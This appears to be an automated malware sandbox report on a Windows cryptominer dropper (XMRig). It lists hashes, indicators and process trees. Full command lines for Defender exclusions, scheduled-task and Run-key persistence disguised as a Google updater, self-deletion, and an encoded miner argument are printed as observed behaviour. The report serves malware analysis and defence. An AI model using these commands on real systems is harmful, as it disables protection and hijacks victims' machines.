Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1786s -
max time network
1794s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
XJEzW6M7WvHaF3EX.exeupdater.execonhost.exedescription pid process target process PID 1684 created 1260 1684 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 1684 created 1260 1684 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 1684 created 1260 1684 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 1684 created 1260 1684 XJEzW6M7WvHaF3EX.exe Explorer.EXE PID 2976 created 1260 2976 updater.exe Explorer.EXE PID 2976 created 1260 2976 updater.exe Explorer.EXE PID 2976 created 1260 2976 updater.exe Explorer.EXE PID 2976 created 1260 2976 updater.exe Explorer.EXE PID 548 created 1260 548 conhost.exe Explorer.EXE PID 2976 created 1260 2976 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral27/memory/1416-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral27/memory/1416-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2624 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2976 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1924 taskeng.exe -
Processes:
resource yara_rule behavioral27/memory/1416-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral27/memory/1416-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2976 set thread context of 548 2976 updater.exe conhost.exe PID 2976 set thread context of 1416 2976 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
XJEzW6M7WvHaF3EX.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe XJEzW6M7WvHaF3EX.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2788 schtasks.exe 2864 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 206ce3f3a051da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
XJEzW6M7WvHaF3EX.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1684 XJEzW6M7WvHaF3EX.exe 1684 XJEzW6M7WvHaF3EX.exe 2716 powershell.exe 1684 XJEzW6M7WvHaF3EX.exe 1684 XJEzW6M7WvHaF3EX.exe 3052 powershell.exe 1684 XJEzW6M7WvHaF3EX.exe 1684 XJEzW6M7WvHaF3EX.exe 1684 XJEzW6M7WvHaF3EX.exe 1684 XJEzW6M7WvHaF3EX.exe 2736 powershell.exe 2976 updater.exe 2976 updater.exe 1088 powershell.exe 2976 updater.exe 2976 updater.exe 1496 powershell.exe 2976 updater.exe 2976 updater.exe 2976 updater.exe 2976 updater.exe 548 conhost.exe 548 conhost.exe 2976 updater.exe 2976 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2716 powershell.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeDebugPrivilege 2736 powershell.exe Token: SeDebugPrivilege 1088 powershell.exe Token: SeDebugPrivilege 1496 powershell.exe Token: SeDebugPrivilege 2976 updater.exe Token: SeAssignPrimaryTokenPrivilege 816 WMIC.exe Token: SeIncreaseQuotaPrivilege 816 WMIC.exe Token: SeSecurityPrivilege 816 WMIC.exe Token: SeTakeOwnershipPrivilege 816 WMIC.exe Token: SeLoadDriverPrivilege 816 WMIC.exe Token: SeSystemtimePrivilege 816 WMIC.exe Token: SeBackupPrivilege 816 WMIC.exe Token: SeRestorePrivilege 816 WMIC.exe Token: SeShutdownPrivilege 816 WMIC.exe Token: SeSystemEnvironmentPrivilege 816 WMIC.exe Token: SeUndockPrivilege 816 WMIC.exe Token: SeManageVolumePrivilege 816 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 816 WMIC.exe Token: SeIncreaseQuotaPrivilege 816 WMIC.exe Token: SeSecurityPrivilege 816 WMIC.exe Token: SeTakeOwnershipPrivilege 816 WMIC.exe Token: SeLoadDriverPrivilege 816 WMIC.exe Token: SeSystemtimePrivilege 816 WMIC.exe Token: SeBackupPrivilege 816 WMIC.exe Token: SeRestorePrivilege 816 WMIC.exe Token: SeShutdownPrivilege 816 WMIC.exe Token: SeSystemEnvironmentPrivilege 816 WMIC.exe Token: SeUndockPrivilege 816 WMIC.exe Token: SeManageVolumePrivilege 816 WMIC.exe Token: SeLockMemoryPrivilege 1416 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 3052 wrote to memory of 2788 3052 powershell.exe schtasks.exe PID 3052 wrote to memory of 2788 3052 powershell.exe schtasks.exe PID 3052 wrote to memory of 2788 3052 powershell.exe schtasks.exe PID 2624 wrote to memory of 2696 2624 cmd.exe choice.exe PID 2624 wrote to memory of 2696 2624 cmd.exe choice.exe PID 2624 wrote to memory of 2696 2624 cmd.exe choice.exe PID 2736 wrote to memory of 2604 2736 powershell.exe schtasks.exe PID 2736 wrote to memory of 2604 2736 powershell.exe schtasks.exe PID 2736 wrote to memory of 2604 2736 powershell.exe schtasks.exe PID 1924 wrote to memory of 2976 1924 taskeng.exe updater.exe PID 1924 wrote to memory of 2976 1924 taskeng.exe updater.exe PID 1924 wrote to memory of 2976 1924 taskeng.exe updater.exe PID 1496 wrote to memory of 2864 1496 powershell.exe schtasks.exe PID 1496 wrote to memory of 2864 1496 powershell.exe schtasks.exe PID 1496 wrote to memory of 2864 1496 powershell.exe schtasks.exe PID 2976 wrote to memory of 548 2976 updater.exe conhost.exe PID 988 wrote to memory of 816 988 cmd.exe WMIC.exe PID 988 wrote to memory of 816 988 cmd.exe WMIC.exe PID 988 wrote to memory of 816 988 cmd.exe WMIC.exe PID 2976 wrote to memory of 1416 2976 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\XJEzW6M7WvHaF3EX.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {A74B8D27-30AB-4C31-A5C7-EF1CB12DB6F7} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
1.6MB
MD55face3a467b4bee146fb97864c87fb69
SHA1c97fe8e1ee7be6b9db8e89549519a1a446d90190
SHA2563c19442b3f63dd3d249c6a63373143ba981575cb6be76bddfe148ea64389c104
SHA5124ae75ad50870261b94d6688af0c07b0fa9b25fec0e5c1566f0f32972de3307a08414cf14716c50a296460e0ea86f3478c9f2822f8a5e272aa8cdf22a9df1f9be
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD51569b25259c3ba6e1c9a48b189cdc8c8
SHA194739389f3aa63a902f0c2b72c2e8eed1934ec42
SHA256427d1f93d4ae21060aa1b1fad75409dfbd9e5a281c9f9abe38c17c82ec5c91b3
SHA5125d46a7a8bdf42c7c068205a7b3a1075a7c70480fbd859469875b592cf945a87f65c51df94bef96783e684ce9ccd8c55cedb654a591f6d1ca7e88912357432152
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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memory/548-71-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/548-75-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1088-51-0x00000000010D0000-0x0000000001150000-memory.dmpFilesize
512KB
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memory/1088-49-0x000007FEF4C80000-0x000007FEF561D000-memory.dmpFilesize
9.6MB
